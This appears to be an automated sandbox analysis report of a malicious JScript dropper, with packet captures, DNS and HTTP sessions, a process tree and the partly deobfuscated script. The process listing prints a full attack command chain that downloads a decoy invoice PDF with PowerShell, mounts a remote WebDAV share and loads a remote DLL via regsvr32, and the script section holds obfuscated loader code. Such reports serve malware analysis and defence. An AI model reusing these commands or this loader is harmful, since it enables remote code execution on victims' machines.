Jan 11, 2025 01:59:35.895203114 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.910512924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.910532951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.910546064 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.910624027 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.910646915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.910716057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.910732031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.910743952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.910753012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.910856962 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.910856962 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.910856962 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.929018021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929052114 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929061890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929132938 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.929162979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929177046 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929218054 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.929356098 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929368019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929378986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929403067 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.929419994 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.929492950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929507017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929517031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929543018 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.929619074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929721117 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929732084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929743052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929754972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929755926 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.929765940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929776907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.929783106 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.929801941 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.929811001 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.930058002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.930072069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.930111885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.930159092 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:36.219873905 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:36.219916105 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:36.565766096 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:37.214656115 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:37.219588995 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:37.219669104 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:37.219846010 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:37.224586964 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:38.010565042 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:38.059859991 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:38.114742994 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:50.260339975 CET	50624	53	192.168.2.7	1.1.1.1
Jan 11, 2025 01:59:50.265269995 CET	53	50624	1.1.1.1	192.168.2.7
Jan 11, 2025 01:59:50.266319990 CET	50624	53	192.168.2.7	1.1.1.1
Jan 11, 2025 01:59:50.271166086 CET	53	50624	1.1.1.1	192.168.2.7
Jan 11, 2025 01:59:50.799962044 CET	50624	53	192.168.2.7	1.1.1.1
Jan 11, 2025 01:59:50.835546017 CET	50624	53	192.168.2.7	1.1.1.1
Jan 11, 2025 01:59:50.840693951 CET	53	50624	1.1.1.1	192.168.2.7
Jan 11, 2025 01:59:50.840769053 CET	50624	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:00:03.870063066 CET	60959	53	192.168.2.7	162.159.36.2
Jan 11, 2025 02:00:03.874845982 CET	53	60959	162.159.36.2	192.168.2.7
Jan 11, 2025 02:00:03.875066996 CET	60959	53	192.168.2.7	162.159.36.2
Jan 11, 2025 02:00:03.879882097 CET	53	60959	162.159.36.2	192.168.2.7
Jan 11, 2025 02:00:04.320142031 CET	60959	53	192.168.2.7	162.159.36.2
Jan 11, 2025 02:00:04.325144053 CET	53	60959	162.159.36.2	192.168.2.7
Jan 11, 2025 02:00:04.325223923 CET	60959	53	192.168.2.7	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:59:45.827557087 CET	49841	53	192.168.2.7	1.1.1.1
Jan 11, 2025 01:59:50.259893894 CET	53	59299	1.1.1.1	192.168.2.7
Jan 11, 2025 02:00:03.869421959 CET	53	52862	162.159.36.2	192.168.2.7
Jan 11, 2025 02:00:04.351471901 CET	59941	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:00:04.361140013 CET	53	59941	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:59:45.827557087 CET	192.168.2.7	1.1.1.1	0x8e4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:04.351471901 CET	192.168.2.7	1.1.1.1	0xceb8	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:59:45.836096048 CET	1.1.1.1	192.168.2.7	0x8e4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:59:46.523066998 CET	1.1.1.1	192.168.2.7	0xcddf	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:59:46.523066998 CET	1.1.1.1	192.168.2.7	0xcddf	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:00:04.361140013 CET	1.1.1.1	192.168.2.7	0xceb8	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	193.143.1.205	80	2440	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:59:34.342181921 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:59:35.157291889 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:59:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:59:35.157340050 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:59:35.157351017 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:59:35.157497883 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 01:59:35.157509089 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 01:59:35.157546043 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 01:59:35.157556057 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 01:59:35.157567024 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 01:59:35.157722950 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 01:59:35.157733917 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 11, 2025 01:59:35.162250042 CET	548	IN	Data Raw: f5 5b 85 65 79 f5 ec ff ae 9f b1 5c 09 95 35 d1 89 39 2d d7 ac 86 2e 6c ca 0d 5f 50 f3 6a fa 9f a0 90 1f 06 28 64 77 79 8f f9 15 be e1 c8 6a ae 6e fb 1e 6a ce eb 94 28 59 28 a1 92 41 53 c2 d6 af a3 1f 81 d7 53 99 7e c2 f7 da 29 77 6d 7d 4f 93 cf Data Ascii: [ey\59-.l_Pj(dwyjnj(Y(ASS~)wm}OP}'2`sVi%QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	193.143.1.205	8888	7492	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:59:37.219846010 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:59:38.010565042 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:59:37 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:59:30
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js"
Imagebase:	0x7ff61e960000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:59:30
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Imagebase:	0x7ff625f60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:59:31
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:59:31
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:59:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	19:59:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff625f60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:59:36
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff64e270000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:59:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	19:59:37
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	19:59:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1528,i,2768293330515780230,7795670985524231554,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function krbync() {	krbync() ➔ undefined
1	wfzszrq = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var vvylgsonj = this[pdmtahx + caavjsoe + aohkoyz + pmoexsgif + ihkwsud + zoamr + ngkhi + pjpol] ( this[sypyaywjn + ntzmqwy + ygbqy + aohkoyz + sapwdea + pdmtahx + pjpol][cjltvkgk + aohkoyz + ihkwsud + caavjsoe + pjpol + ihkwsud + veesziw + stoeugdy + aicuxjfn + ihkwsud + ygbqy + pjpol] ( sypyaywjn + ntzmqwy + ygbqy + aohkoyz + sapwdea + pdmtahx + pjpol + rvxwvwdss + ntzmqwy + effeahndg + ihkwsud + oaebwuz + oaebwuz ) [uihmnvyd + ihkwsud + glkuwyzyj + uihmnvyd + ihkwsud + caavjsoe + djsee] ( vyebvfyb + hqcbp + rzasx + gwffjyiuu + tewjs + cjltvkgk + bsnqnuiaf + uihmnvyd + uihmnvyd + rzasx + pqavcdo + fxlry + tewjs + bsnqnuiaf + ntzmqwy + rzasx + uihmnvyd + kmant + cjltvkgk + swaqsrwb + ngkhi + pjpol + aohkoyz + swaqsrwb + oaebwuz + vylmefu + vruzo + caavjsoe + ngkhi + ihkwsud + oaebwuz + kmant + zoamr + ngkhi + pjpol + ihkwsud + aohkoyz + ngkhi + caavjsoe + pjpol + sapwdea + swaqsrwb + ngkhi + caavjsoe + oaebwuz + kmant + jsnvcu + swaqsrwb + ygbqy + caavjsoe + oaebwuz + ihkwsud ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( udtwbukhz = 0 ; udtwbukhz < wfzszrq[oaebwuz + ihkwsud + ngkhi + glkuwyzyj + pjpol + effeahndg] ; ++ udtwbukhz )
4	{
5	if ( vvylgsonj == wfzszrq[udtwbukhz] )
6	{
7	vvylgsonj = true;
8	break ;
9	}
10	}
11	if ( vvylgsonj !== true )
12	this[sypyaywjn + ntzmqwy + ygbqy + aohkoyz + sapwdea + pdmtahx + pjpol][mvwuf + zndvzkotf + sapwdea + pjpol] ( );
13	this[sypyaywjn + ntzmqwy + ygbqy + aohkoyz + sapwdea + pdmtahx + pjpol][cjltvkgk + aohkoyz + ihkwsud + caavjsoe + pjpol + ihkwsud + veesziw + stoeugdy + aicuxjfn + ihkwsud + ygbqy + pjpol] ( sypyaywjn + ntzmqwy + ygbqy + aohkoyz + sapwdea + pdmtahx + pjpol + rvxwvwdss + ntzmqwy + effeahndg + ihkwsud + oaebwuz + oaebwuz ) [aohkoyz + zndvzkotf + ngkhi] ( ygbqy + kkunqtnn + djsee + vylmefu + qvbiod + ygbqy + vylmefu + pdmtahx + swaqsrwb + uuhcueget + ihkwsud + aohkoyz + pmoexsgif + effeahndg + ihkwsud + oaebwuz + oaebwuz + rvxwvwdss + ihkwsud + qwgramr + ihkwsud + vylmefu + hsnqteqsd + cjltvkgk + swaqsrwb + kkunqtnn + kkunqtnn + caavjsoe + ngkhi + djsee + vylmefu + kxwwhhyxu + zoamr + ngkhi + cjqofrn + swaqsrwb + sdxjho + ihkwsud + hsnqteqsd + sypyaywjn + ihkwsud + stoeugdy + uihmnvyd + ihkwsud + mhlbhm + zndvzkotf + ihkwsud + pmoexsgif + pjpol + vylmefu + hsnqteqsd + veesziw + zndvzkotf + pjpol + hywpcdgu + sapwdea + oaebwuz + ihkwsud + vylmefu + pftqs + pjpol + ihkwsud + kkunqtnn + pdmtahx + pftqs + kmant + sapwdea + ngkhi + cjqofrn + swaqsrwb + sapwdea + ygbqy + ihkwsud + rvxwvwdss + pdmtahx + djsee + xjxedj + vylmefu + effeahndg + pjpol + pjpol + pdmtahx + cdbfv + qvbiod + qvbiod + aopcurvkx + todzu + ubhmo + rvxwvwdss + aopcurvkx + orvodt + ubhmo + rvxwvwdss + aopcurvkx + rvxwvwdss + haxsediuh + kukspifn + butmpxc + qvbiod + sapwdea + ngkhi + cjqofrn + swaqsrwb + sapwdea + ygbqy + ihkwsud + rvxwvwdss + pdmtahx + effeahndg + pdmtahx + kxwwhhyxu + jpooaicfb + jpooaicfb + pmoexsgif + pjpol + caavjsoe + aohkoyz + pjpol + vylmefu + pftqs + pjpol + ihkwsud + kkunqtnn + pdmtahx + pftqs + kmant + sapwdea + ngkhi + cjqofrn + swaqsrwb + sapwdea + ygbqy + ihkwsud + rvxwvwdss + pdmtahx + djsee + xjxedj + jpooaicfb + jpooaicfb + ygbqy + kkunqtnn + djsee + vylmefu + qvbiod + ygbqy + vylmefu + ngkhi + ihkwsud + pjpol + vylmefu + zndvzkotf + pmoexsgif + ihkwsud + vylmefu + kmant + kmant + aopcurvkx + todzu + ubhmo + rvxwvwdss + aopcurvkx + orvodt + ubhmo + rvxwvwdss + aopcurvkx + rvxwvwdss + haxsediuh + kukspifn + butmpxc + mohahrcj + cafeyxqb + cafeyxqb + cafeyxqb + cafeyxqb + kmant + djsee + caavjsoe + cjqofrn + uuhcueget + uuhcueget + uuhcueget + aohkoyz + swaqsrwb + swaqsrwb + pjpol + kmant + jpooaicfb + jpooaicfb + ygbqy + kkunqtnn + djsee + vylmefu + qvbiod 